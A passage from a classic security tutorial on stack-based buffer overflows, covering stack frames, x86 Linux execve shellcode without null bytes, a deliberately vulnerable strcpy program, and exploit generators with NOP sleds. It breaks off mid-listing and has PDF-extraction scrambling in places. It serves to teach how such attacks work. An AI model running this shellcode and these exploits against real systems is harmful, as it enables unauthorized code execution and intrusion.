function and popped when returning. A stack frame contains the
parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at
the
time of the function call.
41
Depending on the implementation the stack will either grow down
(towards
lower memory addresses), or up. In our examples we'll use a stack that
grows
down. This is the way the stack grows on many computers including the
Intel,
Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
implementation dependent. It may point to the last address on the
stack, or
to the next free available address after the stack. For our discussion
we'll
assume it points to the last address on the stack.
In addition to the stack pointer, which points to the top of the
stack
(lowest numerical address), it is often convenient to have a frame
pointer
(FP) which points to a fixed location within a frame. Some texts also
refer
to it as a local base pointer (LB). In principle, local variables
could be
referenced by giving their offsets from SP. However, as words are
pushed onto
the stack and popped from the stack, these offsets change. Although in
some
cases the compiler can keep track of the number of words on the stack
and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required. Futhermore, on some machines,
such
as Intel-based processors, accessing a variable at a known distance
from SP
requires multiple instructions.
Consequently, many compilers use a second register, FP, for
referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for
this
purpose. On the Motorola CPUs, any address register except A7 (the
stack
pointer) will do. Because the way our stack grows, actual parameters
have
positive offsets and local variables have negative offsets from FP.
The first thing a procedure must do when called is save the previous
FP
(so it can be restored at procedure exit). Then it copies SP into FP
to
create the new FP, and advances SP to reserve space for the local
variables.
This code is called the procedure prolog. Upon procedure exit, the
stack
must be cleaned up again, something called the procedure epilog. The
Intel
42
ENTER and LEAVE instructions and the Motorola LINK and UNLINK
instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.
Let us see what the stack looks like in a simple example:
example1.c:
----------------------------------------------------------------------------void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
----------------------------------------------------------------------------To understand what the program does to call function() we compile it
with
gcc using the -S switch to generate assembly code output:
$ gcc -S -o example1.s example1.c
By looking at the assembly language output we see that the call to
function() is translated to:
pushl $3
pushl $2
pushl $1
call function
This pushes the 3 arguments to function backwards into the stack,
and
calls function(). The instruction 'call' will push the instruction
pointer
(IP) onto the stack. We'll call the saved IP the return address (RET).
The
first thing done in function is the procedure prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
This pushes EBP, the frame pointer, onto the stack. It then copies
the
current SP onto EBP, making it the new FP pointer. We'll call the
saved FP
pointer SFP. It then allocates space for the local variables by
subtracting
their size from SP.
We must remember that memory can only be addressed in multiples of
the
43
word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte
buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte
buffer
is going to take 12 bytes (3 words) of memory. That is why SP is being
subtracted by 20. With that in mind our stack looks like this when
function() is called (each space represents a byte):
bottom of
top of
memory
memory
buffer2
<------
[
buffer1
][
sfp
][
ret
][
a
][
b
][
c
][
]
top of
bottom of
stack
stack
Buffer Overflows
~~~~~~~~~~~~~~~~
A buffer overflow is the result of stuffing more data into a buffer
than
it can handle. How can this often found programming error can be taken
advantage to execute arbitrary code? Lets look at another example:
example2.c
----------------------------------------------------------------------------void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
----------------------------------------------------------------------------This is program has a function with a typical buffer overflow coding
error. The function copies a supplied string without bounds checking
by
using strcpy() instead of strncpy(). If you run this program you will
get a
44
segmentation violation.
function:
Lets see what its stack looks when we call
bottom of
top of
memory
memory
buffer
<------
sfp
[
][
ret
][
][
*str
]
top of
bottom of
stack
stack
What is going on here? Why do we get a segmentation violation?
Simple.
strcpy() is coping the contents of *str (larger_string[]) into buffer[]
until a null character is found on the string. As we can see buffer[]
is
much smaller than *str. buffer[] is 16 bytes long, and we are trying
to stuff
it with 256 bytes. This means that all 250 bytes after buffer in the
stack
are being overwritten. This includes the SFP, RET, and even *str! We
had
filled large_string with the character 'A'. It's hex character value
is 0x41. That means that the return address is now 0x41414141. This
is
outside of the process address space. That is why when the function
returns
and tries to read the next instruction from that address you get a
segmentation violation.
So a buffer overflow allows us to change the return address of a
function.
In this way we can change the flow of execution of the program. Lets
go back
to our first example and recall what the stack looked like:
bottom of
top of
memory
memory
buffer2
<------
[
buffer1
][
sfp
][
ret
][
top of
bottom of
stack
stack
45
a
][
b
][
c
][
]
Lets try to modify our first example so that it overwrites the
return
address, and demonstrate how we can make it execute arbitrary code.
Just
before buffer1[] on the stack is SFP, and before it, the return
address.
That is 4 bytes pass the end of buffer1[]. But remember that buffer1[]
is
really 2 word so its 8 bytes long. So the return address is 12 bytes
from
the start of buffer1[]. We'll modify the return value in such a way
that the
assignment statement 'x = 1;' after the function call will be jumped.
To do
so we add 8 bytes to the return address. Our code is now:
example3.c:
----------------------------------------------------------------------------void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
----------------------------------------------------------------------------What we have done is add 12 to buffer1[]'s address. This new
address is
where the return address is stored. We want to skip pass the
assignment to
the printf call. How did we know to add 8 to the return address?
used a
test value first (for example 1), compiled the program, and then
started gdb:
We
----------------------------------------------------------------------------[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
46
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:
pushl %ebp
0x8000491 <main+1>:
movl
%esp,%ebp
0x8000493 <main+3>:
subl
$0x4,%esp
0x8000496 <main+6>:
movl
$0x0,0xfffffffc(%ebp)
0x800049d <main+13>:
pushl $0x3
0x800049f <main+15>:
pushl $0x2
0x80004a1 <main+17>:
pushl $0x1
0x80004a3 <main+19>:
call
0x8000470 <function>
0x80004a8 <main+24>:
addl
$0xc,%esp
0x80004ab <main+27>:
movl
$0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:
movl
0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:
pushl %eax
0x80004b6 <main+38>:
pushl $0x80004f8
0x80004bb <main+43>:
call
0x8000378 <printf>
0x80004c0 <main+48>:
addl
$0x8,%esp
0x80004c3 <main+51>:
movl
%ebp,%esp
0x80004c5 <main+53>:
popl
%ebp
0x80004c6 <main+54>:
ret
0x80004c7 <main+55>:
nop
----------------------------------------------------------------------------We can see that when calling function() the RET will be 0x8004a8,
and we
want to jump past the assignment at 0x80004ab. The next instruction we
want
to execute is the at 0x8004b2. A little math tells us the distance is
8
bytes.
Shell Code
~~~~~~~~~~
So now that we know that we can modify the return address and the
flow of
execution, what program do we want to execute? In most cases we'll
simply
want the program to spawn a shell. From the shell we can then issue
other
commands as we wish. But what if there is no such code in the program
we
are trying to exploit? How can we place arbitrary instruction into its
address space? The answer is to place the code with are trying to
execute in
the buffer we are overflowing, and overwrite the return address so it
points
back into the buffer. Assuming the stack starts at address 0xFF, and
that S
stands for the code we want to execute the stack would then look like
this:
47
bottom of
of
memory
memory
<------
DDDDDDDDEEEEEEEEEEEE
EEEE
FFFF
FFFF
FFFF
FFFF
89ABCDEF0123456789AB
CDEF
0123
4567
89AB
CDEF
buffer
sfp
ret
a
b
c
top
[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^
|
|____________________________|
top of
bottom of
stack
stack
The code to spawn a shell in C looks like:
shellcode.c
---------------------------------------------------------------------------#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
----------------------------------------------------------------------------To find out what does it looks like in assembly we compile it, and
start
up gdb. Remember to use the -static flag. Otherwise the actual code
the
for the execve system call will not be included. Instead there will be
a
reference to dynamic C library that would normally would be linked in
at
load time.
----------------------------------------------------------------------------[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:
pushl %ebp
0x8000131 <main+1>:
movl
%esp,%ebp
0x8000133 <main+3>:
subl
$0x8,%esp
48
0x8000136 <main+6>:
movl
$0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:
movl
$0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:
pushl $0x0
0x8000146 <main+22>:
leal
0xfffffff8(%ebp),%eax
0x8000149 <main+25>:
pushl %eax
0x800014a <main+26>:
movl
0xfffffff8(%ebp),%eax
0x800014d <main+29>:
pushl %eax
0x800014e <main+30>:
call
0x80002bc <__execve>
0x8000153 <main+35>:
addl
$0xc,%esp
0x8000156 <main+38>:
movl
%ebp,%esp
0x8000158 <main+40>:
popl
%ebp
0x8000159 <main+41>:
ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:
pushl %ebp
0x80002bd <__execve+1>: movl
%esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl
$0xb,%eax
0x80002c5 <__execve+9>: movl
0x8(%ebp),%ebx
0x80002c8 <__execve+12>:
movl
0xc(%ebp),%ecx
0x80002cb <__execve+15>:
movl
0x10(%ebp),%edx
0x80002ce <__execve+18>:
int
$0x80
0x80002d0 <__execve+20>:
movl
%eax,%edx
0x80002d2 <__execve+22>:
testl %edx,%edx
0x80002d4 <__execve+24>:
jnl
0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:
negl
%edx
0x80002d8 <__execve+28>:
pushl %edx
0x80002d9 <__execve+29>:
call
0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>:
popl
%edx
0x80002df <__execve+35>:
movl
%edx,(%eax)
0x80002e1 <__execve+37>:
movl
$0xffffffff,%eax
0x80002e6 <__execve+42>:
popl
%ebx
0x80002e7 <__execve+43>:
movl
%ebp,%esp
0x80002e9 <__execve+45>:
popl
%ebp
0x80002ea <__execve+46>:
ret
0x80002eb <__execve+47>:
nop
End of assembler dump.
----------------------------------------------------------------------------Lets try to understand what is going on here. We'll start by studying
main:
----------------------------------------------------------------------------0x8000130 <main>:
pushl %ebp
0x8000131 <main+1>:
movl
%esp,%ebp
0x8000133 <main+3>:
subl
$0x8,%esp
This is the procedure prelude. It first saves the old frame
pointer,
makes the current stack pointer the new frame pointer, and leaves
space for the local variables. In this case its:
char *name[2];
49
or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).
0x8000136 <main+6>:
movl
$0x80027b8,0xfffffff8(%ebp)
We copy the value 0x80027b8 (the address of the string "/bin/sh")
into the first pointer of name[]. This is equivalent to:
name[0] = "/bin/sh";
0x800013d <main+13>:
movl
$0x0,0xfffffffc(%ebp)
We copy the value 0x0 (NULL) into the seconds pointer of name[].
This is equivalent to:
name[1] = NULL;
The actual call to execve() starts here.
0x8000144 <main+20>:
pushl
$0x0
We push the arguments to execve() in reverse order onto the
stack.
We start with NULL.
0x8000146 <main+22>:
leal
0xfffffff8(%ebp),%eax
We load the address of name[] into the EAX register.
0x8000149 <main+25>:
pushl
%eax
We push the address of name[] onto the stack.
0x800014a <main+26>:
movl
0xfffffff8(%ebp),%eax
We load the address of the string "/bin/sh" into the EAX
register.
0x800014d <main+29>:
pushl
%eax
We push the address of the string "/bin/sh" onto the stack.
0x800014e <main+30>:
call
0x80002bc <__execve>
Call the library procedure execve().
The call instruction pushes
the
IP onto the stack.
----------------------------------------------------------------------------Now execve(). Keep in mind we are using a Intel based Linux system.
The
syscall details will change from OS to OS, and from CPU to CPU. Some
will
pass the arguments on the stack, others on the registers. Some use a
software
50
interrupt to jump to kernel mode, others use a far call. Linux passes
its
arguments to the system call on the registers, and uses a software
interrupt
to jump into kernel mode.
----------------------------------------------------------------------------0x80002bc <__execve>:
pushl %ebp
0x80002bd <__execve+1>: movl
%esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
The procedure prelude.
0x80002c0 <__execve+4>: movl
$0xb,%eax
Copy 0xb (11 decimal) onto the stack. This is the index into the
syscall table. 11 is execve.
0x80002c5 <__execve+9>: movl
0x8(%ebp),%ebx
Copy the address of "/bin/sh" into EBX.
0x80002c8 <__execve+12>:
movl
0xc(%ebp),%ecx
Copy the address of name[] into ECX.
0x80002cb <__execve+15>:
movl
0x10(%ebp),%edx
Copy the address of the null pointer into %edx.
0x80002ce <__execve+18>:
int
$0x80
Change into kernel mode.
----------------------------------------------------------------------------So as we can see there is not much to the execve() system call.
need
to do is:
a) Have the
b) Have the
followed
c) Copy 0xb
d) Copy the
All we
null terminated string "/bin/sh" somewhere in memory.
address of the string "/bin/sh" somewhere in memory
by a null long word.
into the EAX register.
address of the address of the string "/bin/sh" into
the
EBX register.
e) Copy the address of the string "/bin/sh" into the ECX
register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
But what if the execve() call fails for some reason? The program
will
continue fetching instructions from the stack, which may contain random
data!
51
The program will most likely core dump. We want the program to exit
cleanly
if the execve syscall fails. To accomplish this we must then add a
exit
syscall after the execve syscall. What does the exit syscall looks
like?
exit.c
----------------------------------------------------------------------------#include <stdlib.h>
void main() {
exit(0);
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:
pushl %ebp
0x800034d <_exit+1>:
movl
%esp,%ebp
0x800034f <_exit+3>:
pushl %ebx
0x8000350 <_exit+4>:
movl
$0x1,%eax
0x8000355 <_exit+9>:
movl
0x8(%ebp),%ebx
0x8000358 <_exit+12>:
int
$0x80
0x800035a <_exit+14>:
movl
0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:
movl
%ebp,%esp
0x800035f <_exit+19>:
popl
%ebp
0x8000360 <_exit+20>:
ret
0x8000361 <_exit+21>:
nop
0x8000362 <_exit+22>:
nop
0x8000363 <_exit+23>:
nop
End of assembler dump.
----------------------------------------------------------------------------The exit syscall will place 0x1 in EAX, place the exit code in EBX,
and execute "int 0x80". That's it. Most applications return 0 on exit
to
indicate no errors. We will place 0 in EBX. Our list of steps is now:
a) Have the
b) Have the
followed
c) Copy 0xb
null terminated string "/bin/sh" somewhere in memory.
address of the string "/bin/sh" somewhere in memory
by a null long word.
into the EAX register.
52
d) Copy the address of the address of the string "/bin/sh" into
the
EBX register.
e) Copy the address of the string "/bin/sh" into the ECX
register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.
Trying to put this together in assembly language, placing the string
after the code, and remembering we will place the address of the
string,
and null word after the array, we have:
----------------------------------------------------------------------------movl
string_addr,string_addr_addr
movb
$0x0,null_byte_addr
movl
$0x0,null_addr
movl
$0xb,%eax
movl
string_addr,%ebx
leal
string_addr,%ecx
leal
null_string,%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
/bin/sh string goes here.
----------------------------------------------------------------------------The problem is that we don't know where in the memory space of the
program we are trying to exploit the code (and the string that follows
it) will be placed. One way around it is to use a JMP, and a CALL
instruction. The JMP and CALL instructions can use IP relative
addressing,
which means we can jump to an offset from the current IP without
needing
to know the exact address of where in memory we want to jump to. If we
place a CALL instruction right before the "/bin/sh" string, and a JMP
instruction to it, the strings address will be pushed onto the stack as
the return address when CALL is executed. All we need then is to copy
the
return address into a register. The CALL instruction can simply call
the
start of our code above. Assuming now that J stands for the JMP
instruction,
C for the CALL instruction, and s for the string, the execution flow
would
now be:
bottom of
of
DDDDDDDDEEEEEEEEEEEE
EEEE
53
FFFF
FFFF
FFFF
FFFF
top
memory
memory
<------
89ABCDEF0123456789AB
CDEF
0123
4567
89AB
CDEF
buffer
sfp
ret
a
b
c
[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^
^|
|
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of
bottom of
stack
stack
With this modifications, using indexed addressing, and writing down
how
many bytes each instruction takes our code looks like:
----------------------------------------------------------------------------jmp
offset-to-call
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,array-offset(%esi) # 3 bytes
movb
$0x0,nullbyteoffset(%esi)# 4 bytes
movl
$0x0,null-offset(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
array-offset,(%esi),%ecx # 3 bytes
leal
null-offset(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
offset-to-popl
# 5 bytes
/bin/sh string goes here.
----------------------------------------------------------------------------Calculating the offsets from jmp to call, from call to popl, from
the string address to the array, and from the string address to the
null
long word, we now have:
----------------------------------------------------------------------------jmp
0x26
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
movb
$0x0,0x7(%esi)
# 4 bytes
movl
$0x0,0xc(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
54
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
-0x2b
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
----------------------------------------------------------------------------Looks good. To make sure it works correctly we must compile it and
run it.
But there is a problem. Our code modifies itself, but most operating
system
mark code pages read-only. To get around this restriction we must
place the
code we wish to execute in the stack or data segment, and transfer
control
to it. To do so we will place our code in a global array in the data
segment. We need first a hex representation of the binary code. Lets
compile it first, and then use gdb to obtain it.
shellcodeasm.c
----------------------------------------------------------------------------void main() {
__asm__("
jmp
0x2a
# 3 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
movb
$0x0,0x7(%esi)
# 4 bytes
movl
$0x0,0xc(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
-0x2f
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
");
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for
details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
55
0x8000130 <main>:
pushl %ebp
0x8000131 <main+1>:
movl
%esp,%ebp
0x8000133 <main+3>:
jmp
0x800015f <main+47>
0x8000135 <main+5>:
popl
%esi
0x8000136 <main+6>:
movl
%esi,0x8(%esi)
0x8000139 <main+9>:
movb
$0x0,0x7(%esi)
0x800013d <main+13>:
movl
$0x0,0xc(%esi)
0x8000144 <main+20>:
movl
$0xb,%eax
0x8000149 <main+25>:
movl
%esi,%ebx
0x800014b <main+27>:
leal
0x8(%esi),%ecx
0x800014e <main+30>:
leal
0xc(%esi),%edx
0x8000151 <main+33>:
int
$0x80
0x8000153 <main+35>:
movl
$0x1,%eax
0x8000158 <main+40>:
movl
$0x0,%ebx
0x800015d <main+45>:
int
$0x80
0x800015f <main+47>:
call
0x8000135 <main+5>
0x8000164 <main+52>:
das
0x8000165 <main+53>:
boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:
das
0x8000169 <main+57>:
jae
0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:
addb
%cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:
0xeb
(gdb)
0x8000134 <main+4>:
0x2a
(gdb)
.
.
.
----------------------------------------------------------------------------testsc.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00
"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80
"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff
"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c
56
[aleph1]$ ./testsc
$ exit
[aleph1]$
----------------------------------------------------------------------------It works! But there is an obstacle. In most cases we'll be trying
to
overflow a character buffer. As such any null bytes in our shellcode
will be
considered the end of the string, and the copy will be terminated.
There must
be no null bytes in the shellcode for the exploit to work. Let's try
to
eliminate the bytes (and at the same time make it smaller).
Problem instruction:
Substitute with:
-------------------------------------------------------movb
$0x0,0x7(%esi)
xorl
%eax,%eax
molv
$0x0,0xc(%esi)
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
-------------------------------------------------------movl
$0xb,%eax
movb
$0xb,%al
-------------------------------------------------------movl
$0x1, %eax
xorl
%ebx,%ebx
movl
$0x0, %ebx
movl
%ebx,%eax
inc
%eax
-------------------------------------------------------Our improved code:
shellcodeasm2.c
----------------------------------------------------------------------------void main() {
__asm__("
jmp
0x1f
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
xorl
%eax,%eax
# 2 bytes
movb
%eax,0x7(%esi)
# 3 bytes
movl
%eax,0xc(%esi)
# 3 bytes
movb
$0xb,%al
# 2 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
xorl
%ebx,%ebx
# 2 bytes
movl
%ebx,%eax
# 2 bytes
inc
%eax
# 1 bytes
int
$0x80
# 2 bytes
call
-0x24
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
# 46 bytes total
");
}
57
----------------------------------------------------------------------------And our new test program:
testsc2.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
----------------------------------------------------------------------------Writing an Exploit
~~~~~~~~~~~~~~~~~~
(or how to mung the stack)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Lets try to pull all our pieces together. We have the shellcode.
We know
it must be part of the string which we'll use to overflow the buffer.
We
know we must point the return address back into the buffer. This
example will
demonstrate these points:
overflow1.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
58
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
----------------------------------------------------------------------------What we have done above is filled the array large_string[] with the
address of buffer[], which is where our code will be. Then we copy our
shellcode into the beginning of the large_string string. strcpy() will
then
copy large_string onto buffer without doing any bounds checking, and
will
overflow the return address, overwriting it with the address where our
code
is now located. Once we reach the end of main and it tried to return
it
jumps to our code, and execs a shell.
The problem we are faced when trying to overflow the buffer of
another
program is trying to figure out at what address the buffer (and thus
our
code) will be. The answer is that for every program the stack will
start at the same address. Most programs do not push more than a few
hundred
or a few thousand bytes into the stack at any one time. Therefore by
knowing
where the stack starts we can try to guess where the buffer we are
trying to
overflow will be. Here is a little program that will print its stack
pointer:
sp.c
59
----------------------------------------------------------------------------unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
--------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp
0x8000470
[aleph1]$
----------------------------------------------------------------------------Lets assume this is the program we are trying to overflow is:
vulnerable.c
----------------------------------------------------------------------------void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------We can create a program that takes as a parameter a buffer size, and
an
offset from its own stack pointer (where we believe the buffer we want
to
overflow may live). We'll put the overflow string in an environment
variable
so it is easy to manipulate:
exploit2.c
----------------------------------------------------------------------------#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
0
512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
60
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
----------------------------------------------------------------------------Now we can try to guess what the buffer and offset should be:
----------------------------------------------------------------------------[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
61
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
----------------------------------------------------------------------------As we can see this is not an efficient process. Trying to guess the
offset even while knowing where the beginning of the stack lives is
nearly
impossible. We would need at best a hundred tries, and at worst a
couple of
thousand. The problem is we need to guess *exactly* where the address
of our
code will start. If we are off by one byte more or less we will just
get a
segmentation violation or a invalid instruction. One way to increase
our
chances is to pad the front of our overflow buffer with NOP
instructions.
Almost all processors have a NOP instruction that performs a null
operation.
It is usually used to delay execution for purposes of timing. We will
take
advantage of it and fill half of our overflow buffer with them. We
will place
our shellcode at the center, and then follow it with the return
addresses. If
we are lucky and the return address points anywhere in the string of
NOPs,
they will just get executed until they reach our code. In the Intel
architecture the NOP instruction is one byte long and it translates to
0x90
in machine code. Assuming the stack starts at address 0xFF, that S
stands for
shell code, and that N stands for a NOP instruction the new stack would
look
like this:
bottom of
of
memory
memory
<------
DDDDDDDDEEEEEEEEEEEE
EEEE
FFFF
FFFF
FFFF
FFFF
89ABCDEF0123456789AB
CDEF
0123
4567
89AB
CDEF
buffer
sfp
ret
a
b
c
[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^
|
|_____________________|
top of
bottom of
stack
stack
62
top
The new exploits is then:
exploit3.c
----------------------------------------------------------------------------#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define NOP
0
512
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
